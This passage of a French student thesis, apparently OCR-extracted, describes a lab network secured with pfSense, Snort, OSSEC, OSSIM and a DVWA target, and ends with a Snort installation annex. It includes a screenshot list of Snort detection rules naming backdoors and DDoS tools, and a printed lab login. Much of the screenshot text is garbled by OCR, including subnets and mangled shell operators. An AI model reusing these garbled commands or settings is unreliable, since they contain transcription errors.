Mar 17 20:32:27 pfSense dhcpd: Internet Systems Consortium DHCP Server 4.2.4-P1

Mar 17 20:32:27 pfSense dhcpd: Copyright 2004-2012 Internet Systems Consortium.

Mar 17 20:32:27 pfSense dhcpd: All rights reserved.

Mar 17 20:32:27 pfSense dhcpd: For info, please visit https://www.isc.org/software/dhcp/
Mar 17 20:32:27 pfSense dhcpd: Wrote O leases to leases file.

Mar 17 20:32:27 pfSense dhcpd: Multiple interfaces match the same subnet: em0 em1
Mar 17 20:32:27 pfSense dhcpd: Multiple interfaces match the same shared network: em0 em1
Mar 17 20:32:27 pfSense dhcpd: Listening on BPF/em1/08:00:27:6d:37:51/152.168.1.0/24
Mar 17 20:32:27 pfSense dhcpd: Sending on BPF/em1/08:00:27:6d:37:51/192.168.1.0/24
Mar 17 20:32:27 pfSense dhcpd: Sending on Socket/fallback/fallback-net

Apr 25 16:00:43 pfSense dhcpd: Internet Systems Consortium DHCP Server 4.2.4-P2

Apr 25 16:00:43 pfSense dhcpd: Copyright 2004-2012 Internet Systems Consortium.

Apr 25 16:00:43 pfSense dhcpd: All rights reserved.

Apr 25 16:00:43 pfSense dhcpd: For info, please visit https://www.isc.org/software/dhcp/
Apr 25 16:00:43 pfSense dhcpd: Wrote O leases to leases file.

Apr 25 16:00:43 pfSense dhcpd: Multiple interfaces match the same subnet: em0 em1
Apr 25 16:00:43 pfSense dhcpd: Multiple interfaces match the same shared network: em0 em1
Apr 25 16:00:43 pfSense dhcpd: Listening on BPF/em1/08:00:27:6d:37:51/152.168.1.0/24
Apr 25 16:00:43 pfSense dhcpd: Sending on BPF/em1/08:00:27:6d:37:51/152.168.1.0/24
Apr 25 16:00:43 pfSense dhcpd: Sending on Socket/fallback/fallback-net

Figure 4.17 : Le résultat de systéme des Logs DHCP

La figure représente les résultats du trafic des logs DHCP.

Services: Snort: Snort Alerts
[ Srort trtertaces | Giobei Settings | Updates RSN siocked | whitstists | Suppress |

Instance to inspect

[ (WAN)IDS pour I'interface externe (WAN) s

Save or Remaove Logs

| Download | All log files will be saved. | Clear | Warning: all log files will be deieted.

Choose which instance alerts you want to inspect.

o

Auto Refresh and Log View | save | Refresh || Default is ON. 250 Enter the number of log entries to view. Default is 250.
Date PRI | PROTO | cLASS SRC SRCPORT DST DSTPORT | SID DESCRIPTION
g a1 | (http_inspect) INVALID
oafoed s TCP Unkpown | 10.0.2.8 17048 65.64.6.21 80 120:8:1 | CONTENT-LENGTH OR
<02 CHUNK SIZE
. . {http_inspect) INVALID
os/0en3 | TCP Unkpown | 10.0.2.8 51356 65.64.6.21 80 120:8:1 | CONTENT-LENGTH OR
T CHUNK SIZE
- kno a. {http_inspect) INVALID
Safoey | TCP Unktown | 10.0.2.8 24382 605.64.6.21 80 120:8:1 | CONTENT-LENGTH OR
201 CHUNK SIZE
_ . {http_inspect) INVALID
oafoens | TCP Unkpown | 10.0.2.8 56646 65.64.6.21 80 120:8:1 | CONTENT-LENGTH OR
:01: CHUNK SIZE
_ a. {bttp_inspect) INVALID
05/09M3- |3 Tcp Unkpown | 10.0.2.8 31452 69.64.6.21 80 120:8:1 | CONTENT-LENGTH OR
<01 CHUNK SIZE
N . {http_inspect) INVALID
o3eend | TCP Unkpown | 10.0.2.8 11611 65.64.6.21 80 120:8:1 | CONTENT-LENGTH OR
2 CHUNK SIZE
_ A {http_inspect) INVALID
os/0es |3 Tcp Unkpown | 10.0.2.8 63810 69.64.6.21 80 120:8:1 | CONTENT-LENGTH OR
T CHUNK SIZE
. .
Figure 4.18 : Le résultat des alertes Snort
. , .. . , . ye .
Finalement, On a obtenu les résultats des alertes de notre logiciel libre de détection d’intrusion

« Snort ».
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1V.4. Configuration de Debian et Snort :

Nous avons installé le systeme d’exploitation a base de Linux « Debian » pour installer le
logiciel de détection d’intrusion Snort voir « Annexe A».Ensuite nous avons utilisé une interface

graphique ACIDBASE dans la figure qui suive :

@ Chrome Fichier Edition Afficher Historique Favoris Fenétre Aide B D 4 = (=F Rechargée) ¢ LI jeu.01:52 Ahmed ABD Q
BUBUBL/ [ basic Analysis and Security £ x \o) -
= C' M | (X hitps://192.168.1.100/base/base_main.php @ =

Basic Analysis and Security Engine (BASE)
=

- Alertes du jour : unique liste Source IP Destination IP B I ey
- Alertes des demidres 24 heures : Source IP Destination IP temporelie

- Alertes des demidres 72 heures : Source IP Destination IP Rechercher

- Alertes les plus récentes - 15 alertes uoP icMp Créer des graphiques

- Dermiers Port Source: uoP Répartition temporelle des alertes

- Demiers Port de Destination: uoP
- Ports Source les plus fréquents: uoP
- Ports de Destination les plus fréquents: uoP
- Alertes les plus fréquentes - 15 adresses :

Use Archive Database

- Alertos les plus récentes - 15 Alertos Uniques
- Alortos les plus fréquentes - 5 Alertes Uniques

Sondes / Total : 0/ 1 Traffic Profile by Protocol
Alertes Uniques: 0 TCP (0%)

ories : 0
Nombre Total d'Alertes : 0

UDP (0%)

+ Adresse(s) IP Source : 0
+ Adresse(s) IP Destination : 0
« Liens IP Uniques : 0 IICMP (0%)

« Ports Source : 0

Scans de Port (0%)
© TCP (0) UDP (0) [ ]
« Ports de Destination : 0

© TCP (0) UDP (0)

Maintenance des Groupes d'Alertes | Cache et Statut | Administration

4. lias)( de Kevin Johnson et I'équipe du projet BASE
Batis sur ACID de Roman Danyliw )

[Chargé en O seconds]

Figure 4.19 : interface de ACIDBASE de Snort

IV.5. Configuration de DVWA:

Nous avons install¢ le serveur web vulnérable DVWA (Damn Vulnerable web application) qui
est basé sur le systéme d’exploitation Linux« Debian ».
Ensuite nous avons appliqué des attaques web mentionnées dans 1’ Annexe avant et apres la

configuration du pare-feu « PfSense » pour mettre le point sur la sécurité des systemes d’information.

| |

Terminal (au nom du superutilisateur) — L=} x

Fichier Edition Affichage Rechercher Terminal Aide

root@ahmeddvwa:~# ifconfig
etho Link encap:Ethernet Hwaddr 08:00:27:62:a9:c7
inet adr:192.168.56.101 Bcast:192.168.56.255 Masque : 255 .255.255.0
adr inet6: fe80::800:27ff:fe62:a9c7/64 Scope:lLien
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:17 errors:0 dropped:0 overruns:0 frame:0
TX packets:172 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 1g file transmission:1000
RX bytes:3509 (3.4 KiB) TX bytes:16046 (15.6 KiB)

lo Link encap:Boucle locale
inet adr:127.0.0.1 Masque:255.0.0.0
adr inet6: ::1/128 Scope:Hobte
UP LOOPBACK RUNMNING MTU:65536 Metric:1
RX packets:141 errors:0 dropped:0 overruns:0 frame:0
TX packets:141 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 1g file transmission:0
RX bytes:44753 (43.7 KiB) TX bytes:44753 (43.7 KiB)

root@ahmeddvwa:~# |}

Figure 4.20: Configuration de la carte réseau DVWA
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La figure 4.20 représente I’adresse réseau du serveur web DVWA est : 192.168.56.101
DVWA

Username

admin

Password Login

Figure 4.21: Page d’accueil de DVWA

Apres avoir installer le serveur web « DVWA », on commence par ’ouvrir et appliquer les attaques

web comme la figure suivante « Voir Annexe B»

Damn Vulnerable Web App (DVWA) v1.0.7 :: Welcome - | O

Web
< http://127.0.0.1/dvwalindex.php c
DYWA)
. Welcome to Damn Vulnerable Web App!
Instructions | Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main
[ 8 goals are to be an aid for security professionals to test their skills and tools in a legal environment,
Setup | help web developers better understand the processes of securing web applications and aid

teachers/students to teach/learn web application security in a class room environment.

WARNING!

Brute Force

Command Execution

CSRF

Damn Vulnerable Web App is damn vulnerable! Do not upload it to your hosting provider's public html
folder or any internet facing web server as it will be compromised. We recommend downloading and
installing onto a local machine inside your LAN which is used solely for testing.

File Inclusion
SQL Injection
SQL Injection (Blind)

We do not take responsibility for the way in which any one uses this application. We have made the
purposes of the application clear and it should not be used maliciously. We have given warnings and
taken measures to prevent users from installing DVWA on to live web servers. If your web server is
compromised via an installation of DVWA it is not our responsibility it is the responsibility of the
person/s who uploaded and installed it.

Upload

XSS reflected

|
|
|
I Disclaimer
|
|
|
|

XSS stored General Instructions

The help button allows you to view hitsjtips for each vulnerability and for each security level on their

DVWA Security | respective page.

PHP Info |
About |

You have logged in as ‘admin’
Logout |

Figure 4.22: interface des attaques de DVWA

L’interface web de DVWA comporte plusieurs attaques web. Nous avons appliqué quelques

attaques web les plus répondus.
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1V.6. Configuration des machines Windows XP :

1V.6.1. Configuration réseau :

Figure 4.23: Configuration de ’adresse IP des machines Windows XP

Propriétés de Protocole Internet (TCP/IP)

Général [

Les paramétres IP peuvent étre déterminés automatiquement si votre
réseau le permet. Sinon, vous devez demander les paramétres |P
appropriés & votre administrateur réseau.

(O Obtenir une adresse IP automatiquement

(®) Utiliser 'adresse IP suivante :
172.16 . 0 . 20 |

.255.255. 0 |

Adresse P :

0
2

Masque de sous-réseau : [ 255
[172.16 . D .

|

Passerelle par défaut :

(® Utiliser 'adresse de serveur DNS suivante :

|

|

Serveur DNS préféré :

Serveur DNS auriliaire : [ . . . ‘

Avance...

RIX

[ 0K ][ Annuler ]

La figure 4.23 représente une des machines des personnels, elle serre a crée une

communication entre 1’adresse IP de la machine et I’interface interne (INT) de PFSense.

1V.6.2. Configuration OSSEC :

OSSEC Agent Manager
View Help

Manage

Authentication key:

OSSEC HIDS 2.7
Agent: Auth key not imported. (0] - O

Status: Require import of authentication key.

- Mot Running...

OSSELC Server IP: 192.168.57.101

|< insert_auth_key here>

Save | Refresh |

Ihttp v ossec.net

La figure précédente représente la communication entre la machine et le serveur OSSIM, pour lui

Figure 4.24: Configuration d’OSSEC

envoy¢ les logs par le par feu a travers le port syslog. Il faut donc générer le code de 1’authentification

d’OSSEC server. « Voir Annexe C »
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1V.7. Configuration de OSSIM :

1V.7.1. Architecture OSSIM :

L’architecture d’OSSIM est divisée en 2 principaux ¢tages :

* Pré-processing : remontée d’événements des moniteurs et détecteurs dans une base de données
commune.

* Post- processing : analyse centralisée.

La figure ci-dessous illustre le fonctionnement en 2 étages. Nous remarquons que ces deux étages

disposent de différentes bases de données permettant la sauvegarde des informations intermédiaires

(corrélées).

OSSIM

Control Panel I

Forensic C. l Risk Monitor 1 l Use Monitor I

KDB

i e T

T = [ Correlation | e |

uUDB '

EDB l Risk Assessment I s =

[ Priorization l

Collector/ normalization I
A s A & A 3

__ Consolidator J

tds éi ﬁ i?l NI ."‘,' Windows
i = E3

Figure 4.25: Architecture OSSIM

Detectors

Définitions des bases de données :

v' EDB : La base de données des événements (la plus grande), stockant toutes les alarmes individuelles.

v" KDB : La base de données des connaissances, sauvegardant les configurations établies par
I’administrateur en charge de la sécurité.
v" UDB : La base de données des profils, stockant toutes les informations du moniteur de profile.

Nous détaillons I’acheminement d’une alarme dans I’architecture définie par la figure ci-dessus.
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9 ' Control Panel

, , — Forensic Console
8 | Moniteurs ‘ 10" (ACID modifié) |
N ALARMES N
{ 7 \ I Corrélat'on Groupe d'alertes
4
(6 | Calcul du risque
3 4
(5) | Mise en place de priorités
; , »
(34 | Centralisation (normalisation) -
- ' Alertas .
{ 2 ) |r Création d'alertes et regroupement ]
4 )
1)
Dwcleur (Niop) }:J‘::;J NIDS (Soort

- Deétactaur (Iptable)
Détectowr (Sveloa)

Figure 4.26: Architecture OSSIM

1. Détection d’un événement suspect par un détecteur (par signatures ou par 1’heuristique).

2. Si nécessaire, des alarmes seront regroupées (par le détecteur) afin de diminuer le trafic réseau.
3. Le collecteur recoit la/les alarme(s) via différents protocoles de communications ouverts.

4. Le parser normalise et sauve les alarmes dans la base de données d’événements (EDB).

5. Le parser assigne une priorité aux alarmes recues en fonction de la configuration des polices de
sécurités définies par I’administrateur sécurité.

6. Le parser évalue le risque immédiat représenté par 1’alarme et envoie si nécessaire une alarme
interne au Control panel.

7. L’alerte est maintenant envoyée a tous les processus de corrélation qui mettent a jour leurs
états et envoient éventuellement une alerte interne plus précise (groupe d’alerte provenant de la
corrélation) au module de centralisation.

8. Le moniteur de risque affiche périodiquement 1’état de chaque risque calculé par CALM.

9. Le panneau de contrdle affiche les alarmes les plus récentes et met a jour les indices des états qui
sont comparés aux seuils définis par ’administrateur. Si les indices sont supérieurs aux seuils

configurés, une alarme interne est émise.

10. Depuis le panneau de controle, I’administrateur a la possibilité de visualiser et rechercher des liens

entre les différentes alarmes a 1’aide de la console forensic.
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1V.7.2. Fonctionnement Logiciel OSSIM:

new mail.
11t : 7%

Figure 4.27: Interface OSSIM

La figure 4.27 représente la phase poste installation d’OSSIM. « Voir Annexe E »

Figure 4.28: Configuration d’adresse IP de OSSIM

Cette figure ci-dessus décrit I’adressage statique de I’adresse IP Nano /etc/network/interfaces
En mettant comme passerelle I’adresse de I’interface PfSense 192.168.57.102 afin d’assurer la

communication et la confirmer par la commande suivante : /etc/init.d/networking restart.

.oOIM

by AlienVault

User admin

Password  eseesesd |

Login

Figure 4.29: Interface graphique d’OSSIM

Cette figure présente I’interface graphique de OSSIM ou on insert le nom d’utilisateur et le mot

de passe (admin/OSSIM2013)
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COOSIM o conute st ntermason O ccomes I e ST
b 4 to AlienVault OTX?

1/1 Sensars active
by AlienVault ) unvesolvec Alarms [ [ ] o ,,J

7% Dashboards Q 1 Executive -, Tickets = Security S Taxonomy |t Vulnerabilites ?
» Dashboards
» Deployment Status. = Last SIEM vs Logger Events ? - Threat Level ?

» Risk

& Incidents
40

4 Analysis

60
20 80
A
0 o

o Assets

& Inteligence 18h 1%h 20h 2th 22h 23h Oh th 2h 3h 4h 5h 6h 7h 8h Sh

& Situational Awareness - SIEM: Events by Sensor/Data Source ?

& Deployment 2

W Alarms
Tickets

anomalies T

{8 admin @ = alienvault ,

User session: 1 second
1 active users 08:07 Sshd |

I bssec

Figure 4.30: Interface web OSSIM

Cette figure la-dessus représente le tableau de bord d’OSSIM, comportant plusieurs fonctionnalités.

4D Dashboards

/& New Document

Document List Search
> Aarms D ¢ Title ¢ Date M Owner Attachments Links Actions
) ) N
» Tickets 10232 AlienVaut Incident Response: Wireless / Disassociation 2012-11-08 A 0] & M & 2t
» Knowledge DB -0
10229 AlienVaut Incident Response: Wireless / Authentication 2012-11-08 Al [0} & U7 3
Analysis 1] N
@ 10230 AienVaul Incident Response: Wireless / Client Associated 2012-11-08 Y 0] & M & 2t
7] Reports ol >
Ep° 10231 AlienVault Incident Response: Wireless / Deauthentication 2012-11-08 Al 0 o) T &b
s =0 5
aaa Assets 10227 AlienVault Incident Response: Wireless / Anomaly 2012-11-08 Al 0 & i3
. . . . =8 5
% Intelligence 10228 AlienVautt Incident Response: Wireless / Association 2012-11-08 Al 0] & M & 2
. =0 5
)2 Situational Awareness 10223 AlienVautt Incident Response: Voip / Call Ended 2012-11-08 A [0} & M & ot
10224 AlienVautt Incident Response: Voip / Call Started 2012-11-08 Al 0 .-E.u T & a8
& Deployment
. o e =8 5
10225 AlienVaut Incident Response: Voip / Misc 2012-11-08 A 0 & U
a 5
10226 AlienVau Incident Response: Voip 2012-11-08 Al 0] & M & o
.0 N
10222 AlienVaut Incident Response: System 2012-11-08 A 0 & T & o
.8 N
10221 AlienVault Incident Response: System / Warning 2012-11-08 Al @ . E & d“
=8 5
10220 AlienVault Incident Response: System / Unlocked 2012-11-08 A 0] & M & 2t
; =0 5
{8 admin @ = 10219 AllenVaut Incident Response: System / Stopped 2012-11-08 Al 0 & T & ad
User session: 1 minute  o.00 . =8 5
ectioteen 10218 AlienVautt Incident Response: System / Started 2012-11-08 A 0 & M & 2t

Figure 4.31: Bases de données OSSIM

Une figure précédente décrivant la base de données ou est inscrit les informations générer par

défaut et les informations des agents SNORT et OSSEC
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Figure 4.32: Sécurité des événements OSSIM

Cette figure représente les événements collectés par OSSIM et celles envoyés par les agents

SNORT, OSSEC et CLAMAV.

NIDS HIDS Wireless IDS Agents | Agen | Edit Rules | Config | Ossec Control

Ossec Events Trend Ossec Data Sources

Ossec: Syscheck

Ossec: Sudo 105
Ossec: Rootcheck 26
IM| Ossec: Authentication Success
M| Ossec: Ids
M| Ossec: Access Control
W Ossec: Promisc Z)
| Ossec: Authentication Failed
7 May 8 May 9 May 10 May 11 May 12 May 13 May
Agents List
D 3 Name * IPICIDR $ CurrentlP ¢ Current User ¢ Current Domain $ Status ¢ Trend [Time UTC]
+ 000 alienvault (server)  127.0.0.1 - - - Active/Local
7May B8May OMay 10May 11May 12May 13 May
+ 001 alienvault 192.168.57.101 - - - Never connected Trend chart not available
+ 002 DVWA 192.168.56.101 - - - Never connected Trend chart not available

Figure 4.33: détection des alertes et des événements d’OSSEC

La figure précédente montre les statistiques faite par OSSIM des événements envoy¢ par les

agents HIDS et la liste des agents connecté.
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Figure 4.34: Inscription des hotes du réseau



La figure la dessus présente les donnés inscrite par I’administrateur OSSIM afin que ce

dernier reconnaisse les hotes lui envoyant les différents types d’information

Edit Rules Displaying 1 to 50 of 7236 rules

|« New | | Modify =] Delete selected

Data Source Name Event Type Ref Name Ref Sid Name
snort BACKDOOR Infector 1.6 Servel nessus nessus: Kuang2 the Virus
snort BACKDOOR Infector 1.6 Servel nessus nessus: scan for LaBrea tarpitted hosts
snort BACKDOOR Infector 1.6 Servel nessus nessus: Apache mod_rootme Backdoor
snort BACKDOOR Infector 1.6 Server osvdb
snort BACKDOOR Infector 1.6 Client - nessus nessus: Kuang2 the Virus
snort BACKDOOR Infector 1.6 Client” nessus nessus: scan for LaBrea tarpitted hosts
snort BACKDOOR Infector 1.6 Client- nessus nessus: Apache mod_rootme Backdoor
snort BACKDOOR Infector 1.6 Client- osvdb
snort DDOS shaft synflood osvdb
snort DDOS mstream handler to agen osvdb
snort DDOS mstream handler ping to osvdb
snort DDOS mstream client to handler osvdb
snort DDOS mstream handler to clien” osvdb
snort DDOS mstream client to handler osvdb
snort DDOS mstream handler to clien osvdb
snort DNS named iquery attempt osvdb
snort DNS zone transfer TCP nessus nessus: DNS AXFR
snort DNS zone transfer TCP osvdb
snort DNS EXPLOIT named 8.2->8.2. osvdb
snort DNS EXPLOIT named overflow osvdb
snort DNS EXPLOIT named overflow osvdb
snort DOS Jok attack osvdb

Figure 4.35: le téléchargement des « Rules » de Snort

La figure représente les Rules de SNORT car il génére quotidiennement des mises a jour des

régles de détection d’intrusion.
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Figure 4.36 : Tableau de bord de la supervision « Nagios »



Cette figure représente une vue globale des packages de monitoring fait par ’outil de

supervision de Nagios

4 System Configuration alienvault [192.168.57.101]

Software Updates | General Configuration | Network Configuration | Sensor Configuration | Logs

& System Status ]
Main Information System Information

Hostname alienvault [192.168.57.101] RAM used [Free: 124.79 MB, Used: 878.09 MB, Total: 1002.88 M8] Disk usage

Time on system lundi 13 mai 2013, 09:12:07 (UTC+0100) 85.24 % — ]

System uptime 0 days, 1 hours, 11 minutes Swap used [Free: 373.41 MB, Used: 9.59 MB, Total: 382.99 M8] A 3

Load Average 0.55 (1 min) 0.45 (5 mins) 0.29 (15 mins) |_| 0.96 % | { mi‘

Running processes 103 CPU used [Inte}(R) Core(TM) i7-2675QM CPU @ 2.20GHz - 1 corels] p

Current sessions 1 O 500% . M Free teed

& Network &

General Information
Firewall vi VPN Infrastructure v Internet Connection v DNS Servers 192.168.57.1
Interface Information

P - Promiscuous no ® Rx 72.26 MB (0 Bps)

lo

Netmask - Gateway - * Tx 72.26 MB (0 Bps)

P 192.168.57.101 Promiscuous yes ® Rx 1.25 MB (0 Bps)
oo Netmask 255.255.255.0 Gateway 192.168.57.102 *Tx 11.38 MB (0 Bps)
& Software ]
Package Information Latest Updates
Packages installed 625 =
Packages Installed failed 0 @

-
Packages pending updates 0
Packages pending purge 0 Package information not available
Access to Alienvault Repositories o (alienvault0)

Figure 4.37: Configuration générale d’OSSIM

La figure présente la configuration des interfaces liées aux cartes réseaux et les logiciels libres.

Servers Displaying 1 to 1 of 1 servers

! Modify | ZZ Apply

»

P Name Port SIEM Risk A Correl: Cross- SQL St IPRep Logge Sign Forwa Forwal Description

192.168.57.101 alienvault 40001 @ @ @ @ @ @

Figure 4.38: Les services actifs de OSSIM

Cette figure montre 1’adresse IP d’OSSIM et les services actives.

VL.8. Résultat final du déploiement :

La figure la dessous, résume tout le travail de configuration fait sur le réseau, on a commencé
par installer tous les logiciels de sécurité des équipements d’information proposés au début de ce
chapitre.

Notre choix technique est porté sur le pare- feu PFSENSE qui représente le cceur du systéme, nous
avons d’abord installé le reverse-proxy « mod-security » en plus de I’outil de supervision réseau
« Ntop » et le systeme de détection d’intrusion réseau « SNORT », mais aussi les reégles de filtrages

« ACL » afin d’assurer la bonne communication entre les différentes machines et serveurs. Nous
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avons aussi installé « SNORT » sur les sondes du DMZ web « 192.168.56.0 /24» ainsi fait sur la partie
interne « INT » « 172.16.0.0 » pour minimiser la marge des erreurs et les intrusions.

Ensuite nous avons installé des systemes de détection d’intrusion HIDS dites OSSEC pour les hotes
(serveur web, machine 1 et 2) qui contrdlent les activités de la machine.

Dans les mémes machines nous avons installé ’antivirus libre « CLAMAYV ».

Les logs de ces diverses solutions seront transmis vers le serveur « OSSIM » a travers ’interface du
pare-feu « PEFSENSE » par le biais des ports « syslog » (514 ; 1514) , OSSIM est inscrit dans les
DMZ-MONIT et il contient non seulement plusieurs sous-serveurs faisant référence aux agents mais
aussi un outil de supervision « NAGIOS »

Finalement nous avons installé une machine de PENTEST nommé « BACKTRACK ».

Royter

K Diz2Monitosos. ) _ DMZ 1 Web l

Backtrack

Database Web server DVWA

~ N\ .
DA @

192.168.56.0/24 ———— M — lam
& ossec

%‘ Firewall

@%.o.o/u

o Ny

R N | 9

Figure 4.39 : Récapitulatif de I’architecture réseau apreés le déploiement des solutions de sécurité

Conclusion :

Ce chapitre contient la création de 1’architecture d’un réseau type ainsi que la configuration

des solutions des logiciels libres pour ainsi faire le déploiement du réseau
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Conclusion ge’ném(e

L’intérét accordé¢ a la sécurité des réseaux informatiques a largement augmenté vu la profonde
influence de ce volet sur la stabilité¢ et le développement des entreprises. De ce fait de nombreuses
applications sont implémentées par ’ANSI. Parmi la multitude de projets développés par I’agence,
notre intérét s’est focalisé sur « La supervision des systémes d'informations » qui constitue le sujet de
notre ouvrage. Au terme de ce travail élaboré dans le cadre de ce projet tunisien, nous considérons que
ce projet de fin d’études nous a été bénéfique vu qu’il nous a permis de consolider nos connaissances
concernant la sécurité des systemes d'information. En effet, dans le cadre de ce projet, nous avons
développé nos connaissances dans 1’utilisation des outils Open source. Nous nous sommes
familiarisées avec le logiciel libre OSSIM et nous avons appris comment maitriser les différents
aspects de la sécurité informatique en intégrant plusieurs solutions et en agissant face aux multiples

problémes rencontrés.

En outre nous avons fait une étude comparative sur différents exemples des logiciels de la
sécurité¢ informatique pour pouvoir choisir I’implémentation. Nous avons congu, alors, un systeme de
collecte d’informations sur les attaques web détectées. Nous estimons que la solution apportée dans ce

projet, permet de soutenir et d’optimiser les opérations réalisées par le projet de I’ ANSI.

Dans la perspective d’amélioration de notre projet, nous souhaitons introduire davantage des
composants a notre architecture systeme et implémenter un systéme de prévention d'intrusion étudié

dans le chapitre « spécification des besoins ».
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Annexe A

Guide d’installation de Debian Squeeze 6.0.6, Snort 2.9.4, Barnyard2-1.11,
PulledPork 0.6.1 et BASE 1.4.5.

Document feuille de route:

. Installer OS et logiciel de base

. Installer Snort pré-requis - libpcap, libdnet, et daq
. Installer, configurer et tester Snort

. Installation MySQL database

. Installer et configurer Barnyard

. Configurer Apache & PHP

. Installer, configurer et tester BASE

. Script de demarrage pour Snort & Barnyard

O© o0 3 O N B~ W N =

. Mise a jour des regles (rules) avec Pulledpork

1. Installer (Systeme d’exploitation) OS et logiciels de base

Ce document suppose que 2 cartes réseau ethO avec l'interface de gestion étant et ethl est l'interface

collectrice.

Obtenez Debian ici: http://www.debian.org/distrib/netinst. J'ai utilisé la version CD de petite taille.
Gravez l'iso et démarrez le CD
Choisissez les options par défaut (ou en fonction de votre site), quand vous arrivez a la "sélection de

logiciels" écran, décochez toutes les options pour obtenir un nu

# vi /etc/apt/sources.list

Ajoutez les lignes suivantes:
deb http://packages.dotdeb.org squeeze all
deb-src http://packages.dotdeb.org squeeze all

Installez la clé GnuPG Dotdeb:
# cd /usr/src && wget http://www.dotdeb.org/dotdeb.gpg
# cat dotdeb.gpg | apt-key add -
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Apt nécessitera d'entrée - par exemple MySQL vous demandera d'entrer un "root" mot de passe pour le

serveur MySQL. Assurez-vous de le sécuriser et ne 1'oubliez pas.

# apt-get update & & apt-get -y install apache2 apache2-doc autoconf automake bison ca-
certificates ethtool flex g++ gcc gee-4.4 libapache2-mod-

phpS liberypt-ssleay-perl libmysqlclient-dev libnet1 libnetl-dev libpcre3 libpcre3-dev libphp-
adodb libssl-dev libtool libwww-perl make mysql-

client mysql-common mysql-server ntp php5-cli phpS-gd php5-mysql php-pear sendmail sysstat

usbmount vim

Désactiver "Large Receive Offload» et «Generic Receive Offload" sur l'interface collecteur
# ethtool -K ethl gro off
# ethtool -K ethl1 Iro off

2. Installer Snort pré-requis - libpcap, libdnet, et DAQ

Installer libpcap:

# cd /usr/src && wget http://www.tcpdump.org/release/libpcap-1.3.0.tar.gz
# tar -zxf libpcap-1.3.0.tar.gz & & cd libpcap-1.3.0

# ./configure --prefix=/usr && make && make install

Installer libdnet:
# cd /usr/src && wget http://libdnet.googlecode.com/files/libdnet-1.12.tgz
# tar -zxf libdnet-1.12.tgz & & cd libdnet-1.12

# ./configure --prefix=/usr --enable-shared & & make & & make install

Installer daq:

# cd /usr/src && wget http://www.snort.org/dl/snort-current/daq-2.0.0.tar.gz
# tar -zxf daq-2.0.0.tar.gz & & cd daq-2.0.0

# ./configure & & make && make install

Mettez a jour le chemin de bibliothéque partagée (library path) :

# echo >> /etc/ld.so.conf /usr/lib

# echo >> /etc/ld.so.conf /usr/local/lib && ldconfig
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3. Installer, configurer & tester Snort

# cd /usr/src && wget http://labs.snort.org/snort/2940/snort.conf -O snort.conf
# wget http://www.snort.org/dl/snort-current/snort-2.9.4.tar.gz -O snort-2.9.4.tar.gz
# tar -zxf snort-2.9.4.tar.gz & & cd snort-2.9.4

# ./configure --enable-sourcefire & & make && make install

# mkdir /etc/snort /etc/snort/rules /var/log/snort /var/log/barnyard2
/usr/local/lib/snort_dynamicrules

# touch /etc/snort/rules/white_list.rules /etc/snort/rules/black_list.rules

# groupadd snort && useradd -g snort snort

# chown snort:snort /var/log/snort /var/log/barnyard2

# cp /usr/src/snort-2.9.4/etc/*.conf* /etc/snort

# cp /usr/src/snort-2.9.4/etc/*.map /etc/snort

# cp /usr/src/snort.conf /etc/snort

# vi /etc/snort/snort.conf

Changez ces lignes:

Ligne #45 - ipvar HOME_NET 172.26.12.0/22 — rendre cette fonction de votre réseau interne.
Ligne #48 - ipvar EXTERNAL_NET !SHOME_NET

Ligne #104 - var RULE_PATH ./rules

Ligne #113 - var WHITE_LIST PATH ./rules

Ligne #114 - var BLACK_LIST_PATH ./rules

Ligne #297 - ajouter a la fin aprés “decompress_depth 65535 max_gzip mem 104857600
Ligne #521 — ajouter output unified2: filename snort.log, limit 128

Ligne #553 - supprimer ou commenter tous les“include SRULE_PATH?” lignes sauf “local.rules”

# vi /etc/snort/rules/local.rules

Entrez une regle simple comme celle-ci pour le test:

alert icmp any any -> SHOME_NET any (msg:"ICMP test"; sid:10000001; rev:1;)

Maintenant nous pouvons commencer et tester snort.

# /usr/local/bin/snort -A console -q -u snort -g snort -c /etc/snort/snort.conf -i eth0

Ping sur l'adresse IP depuis une autre machine, les signalements doivent étre écrites sur la console
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comme ceci:

02/09-11:29:43.450236 [**] [1:10000001:0] ICMP test [**] [Priority: 0] {ICMP} 172.26.12.1 ->
172.26.12.2
02/09-11:29:43.450251 [**] [1:10000001:0] ICMP test [**] [Priority: 0] {ICMP} 172.26.12.2 ->
172.26.12.1

Félicitation - vous avez Snort s’éxécute... Appuyez sur ctrl-c pour tuer snort.

4. Installer & configurer Barnyard2

# cd /usr/src && wget https://github.com/firnsy/barnyard2/archive/master.tar.gz
# tar -zxf master.tar.gz && cd barnyard2-*

# autoreconf -fvi -1 ./m4 && ./configure --with-mysql && make && make install
# mv /usr/local/etc/barnyard2.conf /etc/snort

# cp schemas/create_mysql /usr/src

# vi /etc/snort/barnyard2.conf

Ligne #220 change to output alert fast

A la fin on ajoute cette ligne:

output database: log, mysql, user=snort password=<mypassword> dbname=snort host=localhost

5. Installer MySQL server

# mysql -u root -p #You will be prompted to enter the password you created during installation.
mysql> create database snort;

mysql> grant CREATE, INSERT, SELECT, DELETE, UPDATE on snort.* to snort@localhost;
mysql> SET PASSWORD FOR snort@localhost=PASSWORD('mypassword'); # set user
password different from “root” password

mysql> use snort;

mysql> source /usr/src/create_mysql

mysql> show tables; # you should see the list of new tables you just imported.

mysql> exit
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Maintenant, exécutez snort et barnyard avec ces commandes:

# /usr/local/bin/snort -q -u snort -g snort -c /etc/snort/snort.conf -i eth0 &

# /usr/local/bin/barnyard2 -c /etc/snort/barnyard2.conf -d /var/log/snort -f snort.log -w
/etc/snort/bylog.waldo -G /etc/snort/gen-msg.map -S

/etc/snort/sid-msg.map -C /etc/snort/classification.config &

Encore une fois faire un ping sur l'adresse IP depuis une autre machine

Cette commande montre que barnyard a correctement inséré les événements dans la base de données:

# mysql -uroot -p -D snort -e "select count(*) from event" # entrer le mot de passe

6. Configurer Apache & PHP

# cp /etc/apache2/sites-available/default-ssl /etc/apache2/sites-enabled
# vi /etc/phpS/apache2/php.ini
Ligne #521 — changer la ligne error_reporting =E_ALL & ~E_NOTICE

# a2enmod ssl
# pear config-set preferred_state alpha && pear channel-update pear.php.net && pear install --
alldeps Image_Color Image_Canvas Image_Graph

# /etc/init.d/apache2 restart

7. Installer et configurer BASE

# cd /usr/src && wget http://sourceforge.net/projects/secureideas/filessBASE/base-1.4.5/base-
